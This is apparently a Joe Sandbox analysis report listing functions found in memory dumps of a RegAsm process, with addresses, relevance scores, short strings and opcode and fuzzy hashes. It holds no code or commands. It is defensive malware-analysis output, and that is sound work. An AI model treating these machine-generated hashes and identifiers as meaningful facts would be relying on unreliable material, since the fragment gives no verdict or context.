Instruction Fuzzy Hash: BD1103B19103588FCB60DF9AC544BDEBFF4EB48324F148459E518A7610C375A944CFA5

Function 060F7D68 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,060F7D45), ref: 060F7DCF

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: d08587cfd40e78bae53b1fbd30d835caf5a722868e57f714e2b4d8064ff6a80c
Instruction ID: 7381f5ba5ac9ff4711aadf294982341f0da58c70f7e6a92875373055063a8266
Opcode Fuzzy Hash: d08587cfd40e78bae53b1fbd30d835caf5a722868e57f714e2b4d8064ff6a80c
Instruction Fuzzy Hash: E61145B1800248CFCB10CF99D844BEEFFF4EB88324F20841AD519A7650C774A944CFA5

Function 06174B28 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

XPcq, xrefs: 06174C85

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: XPcq
API String ID: 0-714321711
Opcode ID: 53917708de7dbaaf201df2813e2e822b7771f141f836cfbd1c502209ab6ffc73
Instruction ID: 86584fa149352af8ff9de32c9c3e768e19b815fa54a95d91c2fd637f68b5c1a7
Opcode Fuzzy Hash: 53917708de7dbaaf201df2813e2e822b7771f141f836cfbd1c502209ab6ffc73
Instruction Fuzzy Hash: ED51D130B002189FDB059FB8C854BAEBFF6EF89700F20856AE145EB395DA748D45CB95

Function 0617DAAD Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0617DC09

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 0b6f877fa4b9bc79266d83fee4cea6b5a2f1af7877e17a421602f7bc62602802
Instruction ID: 8f8179fe1ee6a725bb569700d9591aff29bf388137c30ce4c84b7313c84109d5
Opcode Fuzzy Hash: 0b6f877fa4b9bc79266d83fee4cea6b5a2f1af7877e17a421602f7bc62602802
Instruction Fuzzy Hash: FF41AF30E0434A9FDB65DF74D9507AEBBB2BF86300F24896AD405EB250DB71E946CB81

Function 061721F0 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0617232B

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 86d68f474a2b72a9e69b863769265627f54071a5a0a595dba00a9f0be30baa48
Instruction ID: f4a9b9578f5b8c81f4ebdceb64b89d8d1618eccab3ad0019db4c8ed053cbd85f
Opcode Fuzzy Hash: 86d68f474a2b72a9e69b863769265627f54071a5a0a595dba00a9f0be30baa48
Instruction Fuzzy Hash: 8131EB30B142058FDB59AB74C51476E7BF2AB89600F20486AD406EB395EF35DE46CBA1

Function 0617FED0 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

|, xrefs: 0617FF30

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 4d218e45e6df2c15ea9c31bf8c368758014f364c1322922c0aa016461c9ac3b0
Instruction ID: 1f2a5d04ccaf043631e7f73cb6b88117cf924da4364d5cd6814e29501a637f52
Opcode Fuzzy Hash: 4d218e45e6df2c15ea9c31bf8c368758014f364c1322922c0aa016461c9ac3b0
Instruction Fuzzy Hash: 7B117F71B402219FDB54DF788804B6E7BF2AF8C700F14446EE54AEB3A0DB759901CB80

Function 0617FEE0 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

|, xrefs: 0617FF30

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: ce22ff40a5ca90fc86f47c753b5e0a6acb396958bb65cfc3fa0c15c5fee0ed2b
Instruction ID: 2f3208549b4aa6322844e4f388ae3602048b84285d4e7327aee27cd161b70e12
Opcode Fuzzy Hash: ce22ff40a5ca90fc86f47c753b5e0a6acb396958bb65cfc3fa0c15c5fee0ed2b
Instruction Fuzzy Hash: 01115E71B402249FDB549B78C804B6E77F5AF4C700F104469E50AEB3A0DB75A901CB81

Function 061782F6 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

$^q, xrefs: 0617831B

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q
API String ID: 0-388095546
Opcode ID: 66e00f7fb6545dac9384b2b2e222de07811425a68cd8b2a7a59fa4bba2b6a390
Instruction ID: b34fc0872a4cb117067ddc380fbc32b5bfbf6d44c289a24c4ae6af6883b1a285
Opcode Fuzzy Hash: 66e00f7fb6545dac9384b2b2e222de07811425a68cd8b2a7a59fa4bba2b6a390
Instruction Fuzzy Hash: 62F0ED3AF08200CFEFE8CA4DE9885BC73B9EB40256F150872D805CB205C734CA02C6A1

Function 06174641 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

\Ocq, xrefs: 0617464D

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: \Ocq
API String ID: 0-2995510325
Opcode ID: 8c3b1ab19d4e79151c33300a9577a1cff9ca840cc335a4fda8a4c258f9c20d02
Instruction ID: 8507951d5808e241bce5e8450028174969d1304077df5b01cae2d4964b00e0e9
Opcode Fuzzy Hash: 8c3b1ab19d4e79151c33300a9577a1cff9ca840cc335a4fda8a4c258f9c20d02
Instruction Fuzzy Hash: 23F0DA30A50129DBDB14DF94E859BAEBBB2BF84B00F20451AE402A7294CBB45D45CF80

Function 06172368 Relevance: 1.0, Instructions: 1008COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597c2ae102ac17560117634eb403d85dc762b686fb0a7c5c12b42a4481544672
Instruction ID: b8824a16632c12996f4653435e7733b7bea79770fe51a601a2fd0f31867ceb60
Opcode Fuzzy Hash: 597c2ae102ac17560117634eb403d85dc762b686fb0a7c5c12b42a4481544672
Instruction Fuzzy Hash: E7924834A002048FDB64DB68C584A5DBBF2FF49314F5488AAE459EB365DB35ED86CF80

Function 061761F0 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a28318d663517dc107c37a1e276a7d3bad9cbcef8559354bb899b82503d13928
Instruction ID: 10170d3e2b405a4b769bef832e47db1eec2663f24b7fc8204fdbcad85a8a221d
Opcode Fuzzy Hash: a28318d663517dc107c37a1e276a7d3bad9cbcef8559354bb899b82503d13928
Instruction Fuzzy Hash: 1261D071F004214FCB549A7EC89466FBAE7AFC4620B25443AE80EDB364DF66DD0287C2

Function 06173E89 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19657041a5264c568c8fbf0d8ee8ab510814fccf0115f1d49bcf78cbb4b803b
Instruction ID: 83a7e49cd6055493be4b63b6b3db8db70f1b29cdab81dbda445c06cc180e056a
Opcode Fuzzy Hash: b19657041a5264c568c8fbf0d8ee8ab510814fccf0115f1d49bcf78cbb4b803b
Instruction Fuzzy Hash: 80815130B042099FDF58EBB8D4547AEB7F2AF89304F148429D41ADB354EB74EC428B92

Function 061741A8 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c249e14683b48271eda8e67282f10ce8ff705f4b0ec9a96bedcf9f95d2cb60b1
Instruction ID: a35040eb6629c5751194d49cfe055d66e843c40fd936f678b28c11b092ddd337
Opcode Fuzzy Hash: c249e14683b48271eda8e67282f10ce8ff705f4b0ec9a96bedcf9f95d2cb60b1
Instruction Fuzzy Hash: 2F912E34E102198FDF60DF68C890B9DBBB1FF89310F208599D549FB295DB70AA85CB51

Function 061741C0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78c42e357a696e8e1f3b77d0521819a5a76e950cff6307418dc7a28ea4700af3
Instruction ID: 1c784bbb6797ec4606c5ea496f3ac9dee57c67346490b54d473cb5cbec2aeced
Opcode Fuzzy Hash: 78c42e357a696e8e1f3b77d0521819a5a76e950cff6307418dc7a28ea4700af3
Instruction Fuzzy Hash: 9F912B34E102198BDF60DF68C880B9DB7B1FF89310F208599D549BB255EB70AA85CF91

Function 0617EAF9 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 542cee1504fdf9265ef4dd652d099e65860b2552b256f4f6c85bbe11fbd87816
Instruction ID: e85c6bcebbbe6a69c36e692f30cea458400655284d90764644aa9849ce197a78
Opcode Fuzzy Hash: 542cee1504fdf9265ef4dd652d099e65860b2552b256f4f6c85bbe11fbd87816
Instruction Fuzzy Hash: 9D712F30A006099FDB54DFA9D980AADBBF6FF88300F1484AAE415EB355DB30ED46CB50

Function 0617FC70 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47832b2fcb1d200fec9a1774d943681d2fee550df220e571ff1e3f487ba7bb7d
Instruction ID: c7a0e2f12a98c9b1871d7a13dd745b59360728d7353036e157340b8017e83123
Opcode Fuzzy Hash: 47832b2fcb1d200fec9a1774d943681d2fee550df220e571ff1e3f487ba7bb7d
Instruction Fuzzy Hash: 1761D231E00109DFDF24AB78E8447AEBBB2EF89315F20886AE509D7251DF359946CB81

Function 0617EB08 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bb2b208a9def78f7800ae9879a096e43e73d03767c51d1de3ee9dc9c0f05b5c
Instruction ID: de305d741a9c38f3bb203e2240c51d50a8e0da846c9e11d3c648a2f47d5f94b0
Opcode Fuzzy Hash: 6bb2b208a9def78f7800ae9879a096e43e73d03767c51d1de3ee9dc9c0f05b5c
Instruction Fuzzy Hash: 03711E30A006099FDB54DFA9D980AADBBF6FF88304F14846AE419EB355DB30ED46CB50

Function 0617FA20 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95167019305c1b9a83fef06bef693e336a37a57dfa6b1300fea09880dda76b61
Instruction ID: 6d8abd875c5e27f3ff1c09f6d833695e5f022fc8544a819aed90d701911e9a24
Opcode Fuzzy Hash: 95167019305c1b9a83fef06bef693e336a37a57dfa6b1300fea09880dda76b61
Instruction Fuzzy Hash: AD512B34B146049FEF74667CD99472F3A6ED789310F20487AE50AD73E5CB69CC4683A2

Function 0617FA30 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69923103c9da1ac47ede56732ba0192d6baf72f2f0b12b2f9d6172f84855a06a
Instruction ID: 12faaacb295427237ca87f191d76f831366eec3911b19e818c705a8f1e1cd304
Opcode Fuzzy Hash: 69923103c9da1ac47ede56732ba0192d6baf72f2f0b12b2f9d6172f84855a06a
Instruction Fuzzy Hash: F8511A34B146089FFF74666CD99472F266ED789310F20483AE50AD73E8CB69DC8643A2

Function 06175400 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f19233d427c28f857f8a84b269aee4259551a9de76fcedf248b25eb9f99730
Instruction ID: 5ac02a93049311797389657105be5ca366c7c4305a821a03c4b9e69079962599
Opcode Fuzzy Hash: 35f19233d427c28f857f8a84b269aee4259551a9de76fcedf248b25eb9f99730
Instruction Fuzzy Hash: 0C415C71E006099FDF60CFA9D8C0AAEFBF3EB85310F10492AD256D7651DB30E9558B90

Function 061720A0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae74b147a356ca117b274e491b5bb1f5e64e7675494947b2f70f4d3266f5dfe8
Instruction ID: 93e996cd8cc5d607f66c88044e8034bd0f43383834bf557c6f61745f43a5b86a
Opcode Fuzzy Hash: ae74b147a356ca117b274e491b5bb1f5e64e7675494947b2f70f4d3266f5dfe8
Instruction Fuzzy Hash: C5319030E006099FCB19DFA5D85469EBBB6BF8A300F10846AE906EB341DB71E946CB51

Function 061720B0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b54f9070df19e5fb6451a225538f86a1d9620085dd80d0d0a58b65dc77b4a592
Instruction ID: 4fda3d00d0c221429584ac94f8c616917f6f24e2f561e9ecfaa155fcd68ba9fb
Opcode Fuzzy Hash: b54f9070df19e5fb6451a225538f86a1d9620085dd80d0d0a58b65dc77b4a592
Instruction Fuzzy Hash: 0F317C30F106199BCB59DFA5D85469EBBF6BF89300F10852AE906EB340DB71ED42CB50

Function 06173A91 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66ebbd5b2f9172e5c9558b04ed6d835fd388c697280c583d8846ac21a074cccd
Instruction ID: 690b2717a1322eb6da00fcdb608ea884e05af6eb1c10cb5322767470cb557945
Opcode Fuzzy Hash: 66ebbd5b2f9172e5c9558b04ed6d835fd388c697280c583d8846ac21a074cccd
Instruction Fuzzy Hash: 4921D174F042059FDB50DF79D880AAEBBF6AB88710F148429E959E7384E730E801CB95

Function 06173AA0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19fe78c77cf8ffd854cafe9f2da5ddb0c49f7194f45372f233b43716510ef5c8
Instruction ID: 8cc7fcbd3e327a830437855762bd1c5982453253ba49931779477b5e96503cb0
Opcode Fuzzy Hash: 19fe78c77cf8ffd854cafe9f2da5ddb0c49f7194f45372f233b43716510ef5c8
Instruction Fuzzy Hash: BF21B071F046059FDB50DF79D880AAEBBF5EB88710F108029E919EB394E730E801CB94

Function 00C0D005 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3557928320.0000000000C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c0d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd2240c46e0ca7644b28e283c74da643bf81694fa60bdf6df8546699a661d0e4
Instruction ID: d0941d8985701e44c4da4cdae3b71c9554b0e2b238a53f38539eedd79c735fef
Opcode Fuzzy Hash: fd2240c46e0ca7644b28e283c74da643bf81694fa60bdf6df8546699a661d0e4
Instruction Fuzzy Hash: 6B316D7150D3C49FCB03CB64C990711BF71AB46214F29C5DBD9898F2A3C23A980ACB62

Function 00C0D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3557928320.0000000000C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c0d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc708803144d428ca377de417a818212973cf546a3d12896d24fd906598568a4
Instruction ID: 2e4a528139204ba7717a95ac00635167f9ac4fa135a482df5efcf354a62d2ed5
Opcode Fuzzy Hash: cc708803144d428ca377de417a818212973cf546a3d12896d24fd906598568a4
Instruction Fuzzy Hash: 97213471604300DFCB10DF54DAC0B26BBA1EB84318F24C56DD80E4B296C73AD847CA62

Function 06173BB0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 992e2d3ff5095ad70b261792d2b48f8d9331730a2ba606dd75b42c4d2f1aceff
Instruction ID: 9cf963ee0beae6d904a6f07250dcd751ce7fe7c8805fa38c2db78241e111bc0d
Opcode Fuzzy Hash: 992e2d3ff5095ad70b261792d2b48f8d9331730a2ba606dd75b42c4d2f1aceff
Instruction Fuzzy Hash: E211A531B141259FDB589678C8546AF73BAEBC8715F00443AD40AEB340DF64DC029BA1

Function 06173DE7 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a96e33e222538e05b31062da92d9e97da0179356a5254f58213385e118ded1b9
Instruction ID: c106532fc5d2fadd5ddc4ce37a5b65537ad18e1c71fac55de571e51797ffdf0f
Opcode Fuzzy Hash: a96e33e222538e05b31062da92d9e97da0179356a5254f58213385e118ded1b9
Instruction Fuzzy Hash: 95112831B105141FDB65967EE81072BB7EBDBCAB10F14887AF10ACB341EEA5CC424391

Function 06173868 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b4380eff302ba800e30c72bf31395768ece7eb3a32a10017d2dce062e344d8a
Instruction ID: eb08663099c61051d7549ee762b39611fedbcc494254bd7fb29d07a4fa833091
Opcode Fuzzy Hash: 4b4380eff302ba800e30c72bf31395768ece7eb3a32a10017d2dce062e344d8a
Instruction Fuzzy Hash: EA21D3B5D01259AFCB10DF9AD985ADEFFB4FB49324F10812AE918B7200C774A944CFA5

Function 0617ED78 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b639fd049962892877e5b37c4cef53a46b8b5b41e7713ad7304f6d68c01b602f
Instruction ID: 237a2cc61513912de3c4994597e9ca5f033a093224042279a8d43fa85698dc18
Opcode Fuzzy Hash: b639fd049962892877e5b37c4cef53a46b8b5b41e7713ad7304f6d68c01b602f
Instruction Fuzzy Hash: 2401B130B101101FDB659A3D981072E6BE6DBCA610F1448BBE14AC7342EA95DC024395

Function 06173BA2 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12d222dc5bda9ac426dc4a3ca2551a3c652be8251839b94680ac9f02ddd05555
Instruction ID: fdea906ccae5a250286cce50d96fd7f6579ca7e588adaacc5ddb9a868432d336
Opcode Fuzzy Hash: 12d222dc5bda9ac426dc4a3ca2551a3c652be8251839b94680ac9f02ddd05555
Instruction Fuzzy Hash: 61012432B080645FDB659A78CC246EB77FADBC8710F04493AD08AD7240EFA0980287E2

Function 06173870 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80de45ca18b54920d8c204d5e71f85a4bea4224d0382791e61c9f6e849d0a3a4
Instruction ID: 2f88be9fb2b3360c82d2b170dfee9ae620ac76ad861b001a2a21f506aa9b3440
Opcode Fuzzy Hash: 80de45ca18b54920d8c204d5e71f85a4bea4224d0382791e61c9f6e849d0a3a4
Instruction Fuzzy Hash: 4C11B0B5D01259AFCB00DF9AD984ADEFFB4FB49324F10852AE918B7200C375A954CFA5

Function 0617A300 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05aea5c5528a8815e366a70487fbd6b1da5da23cd79f618b74be97776840085e
Instruction ID: 59e9045e61a4339cbcc8affb18dd8cf370a740de784ccbb499961d530e000f13
Opcode Fuzzy Hash: 05aea5c5528a8815e366a70487fbd6b1da5da23cd79f618b74be97776840085e
Instruction Fuzzy Hash: 7C01A730B045105FCB51EA78E850B1E77E5EB86754F14487EE14ACB341EB61DC428392

Function 06173DF8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83cb7be342c88a8d7dfcfdb49ac0c48d5cb1ef2125fdfccb6e895b41d78dcc3b
Instruction ID: 828669c29b06b82be74149f99a2d197bac8ed684933fbacff9ad2862e30ba883
Opcode Fuzzy Hash: 83cb7be342c88a8d7dfcfdb49ac0c48d5cb1ef2125fdfccb6e895b41d78dcc3b
Instruction Fuzzy Hash: B701A431B104241BDB64957EE41072BB2EBDBC9B10F24883AE11EC7344EEA6DC024395

Function 0617C7C0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52784a32d1d426289ec2c91ffc101086f3bfee9eb989ba488a94aa544452889a
Instruction ID: 3c558f66b2631877cb5643be4232edd52aa05b1941fb734d2335dc606df9302b
Opcode Fuzzy Hash: 52784a32d1d426289ec2c91ffc101086f3bfee9eb989ba488a94aa544452889a
Instruction Fuzzy Hash: AA01F731F141249FDB549A75E8516EDBBB2EB89354F14487AE440EB385DB219841C7C0

Function 0617ED88 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 163ada1dd520c7edf4bf9ab017b67d66d125f7ce96f53d753bd6741b80229175
Instruction ID: cf66980f8abb044fa83a78b3c082e4e1d57a65dcfd93fe69246b1446727077ab
Opcode Fuzzy Hash: 163ada1dd520c7edf4bf9ab017b67d66d125f7ce96f53d753bd6741b80229175
Instruction Fuzzy Hash: 0A013C35B104241BDB65D57DE455B2E67EBDBCAA20F14887AE20ACB340EFA5DC424389

Function 0617A310 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c27884d419be46af977d478ed7be07de72b89d6e08a2d79d07d779d2281e41fd
Instruction ID: 206c670c9eab0c92805c24d5036ebc07584c1ea3b03cd11f8330f7ed69ed754a
Opcode Fuzzy Hash: c27884d419be46af977d478ed7be07de72b89d6e08a2d79d07d779d2281e41fd
Instruction Fuzzy Hash: 63014430B105145FDB54EA79E850B2E73E6EB89B54F50887AE10ACB344EA65DC424785

Function 0617C7D0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feab40120c1512d618a8c35e9f7a5efe97f695c5ac634a0e3289ef559c5809d1
Instruction ID: d9c14bbff7a6cdb18dd0f3715a8aacd3205ee85c4f07965ffbd3e21df3c7b93e
